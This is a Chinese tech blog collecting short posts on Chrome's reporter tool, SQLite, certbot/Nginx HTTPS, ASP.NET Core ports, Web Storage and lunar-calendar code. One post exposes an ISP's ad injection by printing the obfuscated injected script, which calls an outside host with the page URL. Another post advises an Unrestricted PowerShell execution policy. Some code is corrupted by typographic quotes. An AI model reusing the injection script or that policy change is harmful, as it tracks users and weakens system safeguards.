禁用software_reporter_tool.exe 解决CPU高占用率的问题

今天开机后,从几分钟到半个小时之间,感觉机器反应有些慢,发现CPU占用80-90%。查看任务管理器,

有一个 software_reporter_tool.exe 的程序占用了一半的CPU使用率。 转到文件所在文件夹查看,发现是 Google Chrome 使用的一个文件。

查询该文件,发现 software_reporter_tool.exe  会扫描系统,类似
Chrome 的一个计划任务,每周启动扫描 一次,运行大约20-25分钟。它会扫描
Google Chrome 浏览器 未能正常运行的程序问题,比如多次未正常关闭
Chrome ,或某些恶意软件或应用程序导致Chrome浏览器运行中出现错误,它就会扫面检查问题通知你并删除该受感染程序。

简单来说,Software Reporter Tool Chrome 清理报告工具 ,  帮助维持Google Chrome正常运行。但是效率上的低下,让我感觉到系统延迟,要想办法让他以后停止执行。

文件位置:  C:\ Users \ {您的用户名} \ AppData \ Local \ Google \ Chrome \用户数据\ SwReporter \ {版本号}\ software_reporter_tool.exe 

网上看到方法是,修改 Chrome 设置,“ 将使用情况统计信息和崩溃报告自动发送给 Google ”的选项关闭,我看了我的设置本身就是关闭的。解决无效,然后自己找到了用最简单的方法,
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\SwReporter\36.184.200 下编辑 manifest.json文件:

“allow-reporter-logs”: true 修改为 “allow-reporter-logs”: false

这样它会自己停止运行,并且下次不再启动。

sqlite 简单手记

delete from TableName;  //清空数据 
update sqlite_sequence SET seq = 0 where name ='TableName';//自增长ID为0
更新删除时,如何插入有单引号(')的字符串,将所有单引号替换为两个单引号

sql = sql.Replace("'","''");

保存到SQLite数据库中时自动恢复为单引号,也就是说使用双单引号即可,例如:
INSERT INTO TableName VALUES('James''s Street');
插入数据库的是: James's Street 。

sqlite数据库在搜索的时候,一些特殊的字符需要进行转义, 具体的转义如下: 
     /   ->    //
     ‘   ->    ”
     [   ->    /[
     ]   ->    /]
     %   ->    /%
     &   ->    /&
        ->    /
     (   ->    /(
     )   ->    /)

免费SSL证书 – Let’s Encrypt 与 certbot 延期

给网站加了SSL,用的 Let’s Encrypt 。后来看有效期只有90天,官网推荐用 certbot  延期,开始感觉挺麻烦,但看到一篇文章,写的很好,转贴留存一下!

文章出自:https://ksmx.me/letsencrypt-ssl-https/

现在用 Let’s EncryptStartSSL 的免费证书有效期是1年,1年后需要手动更换。配置过程还挺麻烦的。

更推荐 Let’s Encrypt,虽然有效期只有3个月,但可以用 certbot 自动续期,完全不受影响。而且 Let’s Encrypt 因为有了 certbot 这样的自动化工具,配置管理起来非常容易。

生成 Let’s Encrypt 证书

Let’s Encrypt 证书生成不需要手动进行,官方推荐 certbot 这套自动化工具来实现。3步轻松搞定:

  1. 下载安装 certbot (Let’s Encrypt项目的自动化工具)
  2. 创建配置文件
  3. 执行证书自动化生成命令

下面的教程运行在 Arch Linux 上,其他操作系统也大同小异。你可以在 certbot 网站上,选择你的 Web Server 和 操作系统,就能看到对应的安装和配置教程。

1. 下载安装 certbot

在 Arch Linux 上,安装很简单:

$ sudo pacman -Syu
$ sudo pacman -S certbot

2. 创建配置文件

先创建存放配置文件的文件夹:

$ sudo mkdir /etc/letsencrypt/configs

编辑配置文件:

$ sudo vim /etc/letsencrypt/configs/example.com.conf

把 example.com 替换成自己的域名,配置文件内容:

# 写你的域名和邮箱
domains = example.com
rsa-key-size = 2048
email = your-email@example.com
text = True

# 把下面的路径修改为 example.com 的目录位置
authenticator = webroot
webroot-path = /var/www/example

这里需要解释一下,上面配置文件用了 webroot 的验证方法,这种方法适用于已经有一个 Web Server 运行中的情况。certbot 会自动在 /var/www/example 下面创建一个隐藏文件 .well-known/acme-challenge ,通过请求这个文件来验证 example.com 确实属于你。外网服务器访问 http://www.example.com/.well-known/acme-challenge ,如果访问成功则验证OK。

我们不需要手动创建这个文件,certbot 会根据配置文件自动完成。

3. 执行证书自动化生成命令

一切就绪,我们现在可以运行 certbot 了。

$ sudo certbot -c /etc/letsencrypt/configs/example.com.conf certonly

## 片刻之后,看到下面内容就是成功了
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/example.com/fullchain.pem.

如果运行顺利,所有服务器所需要的证书就已经生成好了。他们被放在了 /etc/letsencrypt/live/example.com/ 下:

$ ls /etc/letsencrypt/live/example.com/
cert.pem #server cert only
privkey.pem #private key
chain.pem #intermediates
fullchain.pem #server cert + intermediates

配置 Nginx 加入证书

到这里已经成功一大半了,只需要配置 Nginx 支持刚刚生成的证书。而且这个配置有最佳实践可以参考,访问:Mozilla SSL Configuration Generator,这是 Mozilla 搞得一个 HTTPS 配置文件自动生成器,支持 Apache,Nginx 等多种服务器。按照这个配置文件,选择 Intermediate 的兼容性。这里生成的配置文件是业界最佳实践和结果,让 Nginx 打开了各种增加安全性和性能的参数。

默认配置文件是这样的:

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    # Redirect all HTTP requests to HTTPS with a 301 Moved Permanently response.
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate
    ssl_certificate /path/to/signed_cert_plus_intermediates;
    ssl_certificate_key /path/to/private_key;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;

    # Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits
    ssl_dhparam /path/to/dhparam.pem;

    # intermediate configuration. tweak to your needs.
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
    ssl_prefer_server_ciphers on;

    # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)
    add_header Strict-Transport-Security max-age=15768000;

    # OCSP Stapling ---
    # fetch OCSP records from URL in ssl_certificate and cache them
    ssl_stapling on;
    ssl_stapling_verify on;

    ## verify chain of trust of OCSP response using Root CA and Intermediate certs
    ssl_trusted_certificate /path/to/root_CA_cert_plus_intermediates;

    resolver <IP DNS resolver>;

    ....
}

请根据自己的服务配置修改和添加内容,重点只需要关注6行

server {
	listen 443 ssl http2;
	....
	ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
	ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
	ssl_dhparam /etc/nginx/ssl/dhparam.pem;

	ssl_trusted_certificate /etc/letsencrypt/live/example.com/root_ca_cert_plus_intermediates;

	resolver <IP DNS resolver>;
	....
}

这6行中,部分文件还不存在,逐个说明。

首先是第一行 listen 443 ssl http2; 作用是启用 Nginx 的 ngx_http_v2_module 模块 支持 HTTP2,Nginx 版本需要高于 1.9.5,且编译时需要设置 --with-http_v2_module 。Arch Linux 的 Nginx 安装包中已经编译了这个模块,可以直接使用。如果你的 Linux 发行版本中的 Nginx 并不支持这个模块,可以自行 Google 如何加上。

ssl_certificate 和 ssl_certificate_key ,分别对应 fullchain.pem 和 privkey.pem,这2个文件是之前就生成好的证书和密钥。

ssl_dhparam 通过下面命令生成:

$ sudo mkdir /etc/nginx/ssl
$ sudo openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

(可选)ssl_trusted_certificate 需要下载 Let’s Encrypt 的 Root Certificates,不过根据 Nginx 官方文档 所说,ssl_certificate 如果已经包含了 intermediates 就不再需要提供 ssl_trusted_certificate,这一步可以省略:

$ cd /etc/letsencrypt/live/example.com
$ sudo wget https://letsencrypt.org/certs/isrgrootx1.pem
$ sudo mv isrgrootx1.pem root.pem
$ sudo cat root.pem chain.pem > root_ca_cert_plus_intermediates

resolver 的作用是 “resolve names of upstream servers into addresses”, 在這個配置中,resolver 是用來解析 OCSP 服務器的域名的,建议填写你的 VPS 提供商的 DNS 服务器,例如我的 VPN 在 Linode,DNS服务器填写:

resolver 106.187.90.5 106.187.93.5;

Nginx 配置完成后,重启后,用浏览器测试是否一切正常。

$ sudo systemctl restart nginx

这时候你的站点应该默认强制使用了 HTTPS,并且浏览器地址栏左边会有绿色的小锁:

自动化定期更新证书

Let’s Encrypt 证书有效期是3个月,我们可以通过 certbot 来自动化续期。

在 Arch Linux 上,我们通过 systemd 来自动执行证书续期任务。

$ sudo vim /etc/systemd/system/letsencrypt.service
[Unit]
Description=Let's Encrypt renewal

[Service]
Type=oneshot
ExecStart=/usr/bin/certbot renew --quiet --agree-tos
ExecStartPost=/bin/systemctl reload nginx.service

然后增加一个 systemd timer 来触发这个服务:

$ sudo vim /etc/systemd/system/letsencrypt.timer
[Unit]
Description=Monthly renewal of Let's Encrypt's certificates

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target

启用服务,开启 timer:

$ sudo systemctl enable letsencrypt.timer
$ sudo systemctl start letsencrypt.timer

上面两条命令执行完毕后,你可以通过 systemctl list-timers 列出所有 systemd 定时服务。当中可以找到 letsencrypt.timer 并看到运行时间是明天的凌晨12点。

在其他 Linux 发行版本中,可以使用 crontab 来设定定时任务,自行 Google 吧。

用专业在线工具测试你的服务器 SSL 安全性

Qualys SSL Labs 提供了全面的 SSL 安全性测试,填写你的网站域名,给自己的 HTTPS 配置打个分。

如果你完全按照我上面教程配置,遵循了最佳实践,你应该和我一样得分是 A+

Asp.Net core Linux 监听端口的设置

在linux测试跑.net core,默认端口是5000,5001. 需要修改

尝试有以下几种方式:

1. 在项目csproj文件在linux中,编辑Properties/launchSettings.json文件中的 “applicationUrl”: “http://*:5000;http://*:5050”

2.编辑Program,直接在代码里定义

public class Program
{
    public static void Main(string[] args)
    {
        var host = new WebHostBuilder()
            .UseKestrel()
            .UseContentRoot(Directory.GetCurrentDirectory())
            .UseIISIntegration()
            .UseStartup<Startup>()
            .UseUrls("http://*:5001/")
            .Build();

        host.Run();
    }
}

3.添加配置文件hosting.json,然后在Program中加载配置文件

public static void Main(string[] args)
{
    var config = new ConfigurationBuilder()
        .SetBasePath(Directory.GetCurrentDirectory())
        .AddJsonFile("hosting.json", true)
        .Build();

    var host = new WebHostBuilder()
        .UseKestrel(options => options.AddServerHeader = false)
        .UseConfiguration(config)
        .UseContentRoot(Directory.GetCurrentDirectory())
        .UseIISIntegration()
        .UseStartup<Startup>()
        .Build();

    host.Run();
}

4. 直接启动时增加参数,两种

在发布文件夹下直接加载dll:

dotnet WebApp1.dll --server.urls "http://*:5001;http://*:5002"

在项目文件下:

dotnet run --urls="http://*:5001/;http://*:5051/"

 

LocalStorage 本地存储

QQ图片20170228220902

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗易懂的接口:

  • sessionStorage.getItem(key):获取指定key本地存储的值
  • sessionStorage.setItem(key,value):将value存储到key字段
  • sessionStorage.removeItem(key):删除指定key本地存储的值
  • sessionStorage.length是sessionStorage的项目数

sessionStorage与 localStorage 的异同

sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。

使用 Web Storage(Local Storage和Session Storage)

首先自然是检测浏览器是否支持本地存储。在HTML5中,本地存储是一个window的属性,包括localStorage和sessionStorage,从名字应该可以很清楚的辨认二者的区别,前者是一直存在本地的,后者只是伴随着session,窗口一旦关闭就没了。二者用法完全相同,这里以localStorage为例。

if(window.localStorage){
alert(‘This browser supports localStorage’);
}else{
alert(‘This browser does NOT support localStorage’);
}

存储数据的方法就是直接给window.localStorage添加一个属性,例如:window.localStorage.a 或者 window.localStorage[“a”]。它的读取、写、删除操作方法很简单,是以键值对的方式存在的,如下:

localStorage.a = 3;//设置a为”3″
localStorage[“a”] = “sfsf”;//设置a为”sfsf”,覆盖上面的值
localStorage.setItem(“b”,”isaac”);//设置b为”isaac”
var a1 = localStorage[“a”];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem(“b”);//获取b的值
localStorage.removeItem(“c”);//清除c的值

这里最推荐使用的自然是getItem()和setItem(),清除键值对使用removeItem()。如果希望一次性清除所有的键值对,可以使用clear()。另外,HTML5还提供了一个key()方法,可以在不知道有哪些键值的时候使用,如下:

var storage = window.localStorage;
function showStorage(){
for(var i=0;i<storage.length;i++){
  //key(i)获得相应的键,再用getItem()方法获得对应的值
  document.write(storage.key(i)+ ” : ” + storage.getItem(storage.key(i)) + “<br>”);
}
}

html5客户端本地存储之sessionStorage的实例页面

http://www.css88.com/demo/sessionStorage/

http://www.css88.com/demo/sessionStorage/index2.html

http://www.css88.com/demo/sessionStorage/index3.html

Web Storage Support Test

http://dev-test.nemikor.com/web-storage/support-test/

一些文件比对和合并的资料

(最近整理一下)

FC

(CMD命令行)

The fc command has been included in Microsoft operating systems since MS-DOS 3.3 and is included in all versions of Microsoft Windows.

C:\Users\Administrator>fc /?

比较两个文件或两个文件集并显示它们之间

的不同

FC [/A] [/C] [/L] [/LBn] [/N] [/OFF[LINE]] [/T] [/U] [/W] [/nnnn]
    [drive1:][path1]filename1 [drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2

  /A         只显示每个不同处的第一行和最后一行。
   /B         执行二进制比较。
   /C         不分大小写。
   /L         将文件作为 ASCII 文字比较。
   /LBn       将连续不匹配的最大值设置为指定
              的行数。
   /N         在 ASCII 比较上显示行数。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。
   /T         不要将制表符扩充到空格。
   /U         将文件作为 UNICODE 文本文件比较。
   /W         为了比较而压缩空白(制表符和空格)。
   /nnnn      指定不匹配处后必须连续
              匹配的行数。
   [drive1:][path1]filename1
              指定要比较的第一个文件或第一个文件集。
   [drive2:][path2]filename2
              指定要比较的第二个文件或第二个文件集。

COMP

(CMD命令行)

A newer command, fc was added in DOS 3.3 which allows for line comparisons in addition to binary comparisons.

C:\Users\Administrator>comp /?

比较两个文件或两个文件集的内容。

COMP [data1] [data2] [/D] [/A] [/L] [/N=number] [/C] [/OFF[LINE]]

  data1      指定要比较的第一个文件的位置和名称。
   data2      指定要比较的第二个文件的位置和名称。
   /D         以十进制格式显示差异。
   /A         以 ASCII 字符显示差异。
   /L         显示不同的行数。
   /N=number  只比较每个文件中第一个指定的行数。
   /C         比较文件时 ASCII 字母不区分大小写。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。

要比较文件集,请在 data1 和 data2 参数中使用通配符。

——————————-

GNU DiffUtils for Windows

(CMD命令行)

显示文件之间的差异

http://gnuwin32.sourceforge.net/packages/diffutils.htm

——————————-

Diff Text – The Online Compare Plain Text & Find Differences Web Page

http://www.diff-text.com/

WinMerge

(桌面程序)

Windows visual diff and merge for files and directories

https://sourceforge.net/projects/winmerge/

Selection Diff Tool

(Web程序)

Microsoft Office 2013 app which reports the differences between two blocks of plain text.

Note: This will not work with previous versions of Office.

https://store.office.com/zh-cn/app.aspx?assetid=WA103863850&ui=zh-CN&rs=zh-CN&ad=CN&appredirect=false

The XML Diff and Patch GUI Tool

https://msdn.microsoft.com/en-us/library/aa302295.aspx

解决NuGet程序包更新安装失败的错误

管理NuGet程序包 中更新程序包,出现:

Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first

1. Step

Open Windows PowerShell, run as Administrator

2. Step

Setting an execution policy to RemoteSigned or Unrestricted should work. It must be changed under an administrator mode via a PowerShell console. Be aware that changes will be applied according to the bit version of the PowerShell console, so 32bit or 64 bit. So if you want to install a package in Visual Studio (32 bit version) which requires a specific policy you should change settings of the policy via PowerShell (x86).

The command in PowerShell (as administrator) to set the policy to unrestricted (as noted by @Gabriel in the comments) is:

start-job { Set-ExecutionPolicy Unrestricted } -RunAs32 | wait-job | Receive-Job

OR

NuGet is using the 32 bit console, so it wont be affected by changes to the 64 bit console. Run the following script to make sure you are configuring the 32 bit console.

start-job { Set-ExecutionPolicy RemoteSigned } -RunAs32 | wait-job | Receive-Job

3. Step

Restart Visual Studio

————————————————————-

如果所有的政策是正确的,但安装包时,仍有错误

无法初始化PowerShell主机。如果你的PowerShell执行策略设置为使用AllSigned,打开包管理器控制台首先初始化主机。

解决方案卸载  NuGet包管理器 插件,并重新安装它。

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。

农转公/公转农 System.Globalization.ChineseLunisolarCalendar 农历转公历/公历转农历

项目中有一个生日短信提醒功能,需要每年提醒。选农历, 每年提醒, 第二年的公历是不一样的,所以每一年的都需要自己计算。

设计的要求 ,他们说因为年纪大的人是只记得农历的。。。

网上资料不少,公历转农历现成的一堆。都是用微软的System.Globalization.ChineseLunisolarCalendar类写的,
但是农历转公历的很少,也有,但都是只提到方法的调用,比如下面:
 20151122234809
正确的应该是1982-10-12 。由于 并没有详细说到关键的闰月计算, 所以起初很困惑,以为计算不准确。

20151122235510

检查全年的月份,发现有因为有闰月的情况,有润月则应该从该闰月起月份自动加一, 如1982年润四月,或则闰五月为6月,后面的月加一处理。
方便理解自己做个对照图:

20151122233022

正确的方法是,要先计算当年农历生日之前的月份有没有闰月,

有了就 直接构造农历日期对象是就把农历的月+1 为9月:

20151122235952

只要明白闰月这一点,其实就很简单了!

///////////
//公历转农历
///////////
            DateTime date = Convert.ToDateTime(textBox1.Text);	//格式:2000-1-1
            ChineseLunisolarCalendar cc = new ChineseLunisolarCalendar();

            if (date > cc.MaxSupportedDateTime || date < cc.MinSupportedDateTime)  
                MessageBox.Show("参数日期时间不在支持的范围内,支持范围:"+cc.MinSupportedDateTime.ToShortDateString()+"到"+cc.MaxSupportedDateTime.ToShortDateString());
            
            int year = cc.GetYear(date);
            int month = cc.GetMonth(date);
            int dayOfMonth = cc.GetDayOfMonth(date);
            int leapMonth = cc.GetLeapMonth(year);
            bool isLeapMonth = cc.IsLeapMonth(year, month);
            bool isLeapYear = cc.IsLeapYear(year);

            if (isLeapMonth || isLeapYear && month >= leapMonth)
                month -= 1;

            textBox2.Text = string.Concat(year, "-", month, "-", dayOfMonth);
///////////
//农历转公历
///////////

	    ChineseLunisolarCalendar cc = new ChineseLunisolarCalendar();
            DateTime date = Convert.ToDateTime(textBox2.Text);	//格式:2000-1-1
            int MonthsInYear = cc.GetMonthsInYear(date.Year);
            int LeapMonth = cc.GetLeapMonth(date.Year, 1);
            bool isLeapMonth = cc.IsLeapMonth(date.Year, date.Month);
            bool isLeapYear = cc.IsLeapYear(date.Year);

            if (isLeapMonth)
                date = cc.ToDateTime(date.Year, date.Month - 1, date.Day, 0, 0, 0, 0);
            else if(date.Month > LeapMonth)
                date = cc.ToDateTime(date.Year, date.Month + 1, date.Day, 0, 0, 0, 0);
            else
                date = cc.ToDateTime(date.Year, date.Month, date.Day, 0, 0, 0, 0);
            
            textBox1.Text = date.ToString("yyyy-MM-dd");

这是一个WinForm做的的实例Demo: WindowsFormsApplication1